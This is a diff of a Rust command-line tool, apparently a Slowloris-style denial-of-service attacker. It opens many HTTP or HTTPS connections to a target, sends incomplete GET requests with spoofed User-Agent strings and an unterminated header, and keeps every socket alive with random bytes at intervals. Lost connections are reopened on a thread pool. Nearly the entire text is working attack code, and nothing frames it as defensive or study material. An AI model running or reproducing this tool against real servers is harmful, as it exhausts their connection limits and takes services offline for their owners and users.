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@ -3,9 +3,11 @@ Copyright (c) 2021 trivernis
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See LICENSE for more information
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*/
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use native_tls::TlsConnector;
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use rayon::prelude::*;
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use rand::Rng;
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use scheduled_thread_pool::ScheduledThreadPool;
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use std::io::Write;
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use std::net::TcpStream;
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use std::sync::Arc;
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use std::thread;
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use std::time::Duration;
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use structopt::StructOpt;
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@ -32,49 +34,49 @@ struct Opt {
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fn main() {
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let opts: Opt = Opt::from_args();
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let mut connections = create_connections(&*opts.address, opts.port, opts.count, !opts.http);
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println!("Created {} connections", connections.len());
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loop {
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thread::sleep(Duration::from_secs(10));
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println!(r#"Sending "Keep-Alive" Headers"#);
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let mut new_connections = Vec::new();
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for mut connection in connections {
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if let Ok(_) = connection.write_all(&[rand::random::<u8>()]) {
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new_connections.push(connection);
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}
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}
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connections = new_connections;
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if connections.len() < opts.count {
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let mut more_connections = create_connections(
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&*opts.address,
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opts.port,
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opts.count - connections.len(),
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!opts.http,
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);
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connections.append(&mut more_connections);
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}
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println!("Connection count: {}", connections.len())
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let pool = Arc::new(scheduled_thread_pool::ScheduledThreadPool::new(
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num_cpus::get(),
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));
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for i in 0..opts.count {
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let address = opts.address.clone();
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let port = opts.port;
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let https = !opts.http;
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keep_alive(Arc::clone(&pool), i, address, port, https);
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}
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thread::park();
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}
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/// Creates connections
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fn create_connections(
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address: &str,
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port: u32,
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count: usize,
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https: bool,
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) -> Vec<Box<dyn Write + Send + Sync>> {
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return (0..count)
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.par_bridge()
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.filter_map(|_| create_connection(address, port, https))
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.collect();
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/// Sends Keep-Alive data to the server
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fn keep_alive(pool: Arc<ScheduledThreadPool>, i: usize, address: String, port: u32, https: bool) {
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let mut rng = rand::thread_rng();
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if let Some(mut stream) = create_connection(&*address, port, https) {
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println!("Connection {} established.", i);
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let pool_clone = Arc::clone(&pool);
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pool.execute_at_fixed_rate(
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Duration::from_secs(rng.gen_range(5..10)),
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Duration::from_secs(rng.gen_range(5..10)),
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move || {
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println!(r#"Sending "Keep-Alive-Header" for connection {}..."#, i);
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if let Err(_) = stream.write_all(&[rand::random::<u8>()]) {
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let address = address.clone();
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let pool_clone2 = Arc::clone(&pool_clone);
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println!("Connection {} lost. Reestablishing...", i);
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pool_clone.execute(move || {
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keep_alive(pool_clone2, i, address, port, https);
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});
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}
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},
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);
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}
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}
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/// Creates a single connection yo
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/// Creates a single HTTP/S connection
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fn create_connection(
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address: &str,
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port: u32,
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@ -88,18 +90,22 @@ fn create_connection(
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.ok()?;
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let mut stream: Box<dyn Write + Send + Sync> = if https {
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let connector = TlsConnector::new().unwrap();
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let tls_stream = connector.connect(&*address.clone(), tcp_stream).unwrap();
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let connector = TlsConnector::new().ok()?;
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let tls_stream = connector.connect(&*address.clone(), tcp_stream).ok()?;
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Box::new(tls_stream)
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} else {
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Box::new(tcp_stream)
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};
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stream.write_all(b"GET / HTTP/1.1\r\n").ok()?;
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stream
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.write_all(format!("User-Agent: {}\r\n", fakeit::user_agent::random_platform()).as_bytes())
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.write_all(
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format!(
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"GET / HTTP/1.0\r\nUser-Agent: {}\r\nX-a: ",
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fakeit::user_agent::random_platform()
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)
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.as_bytes(),
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)
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.ok()?;
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stream.write_all(b"X-a: {}\r\n").ok()?;
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Some(stream)
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}
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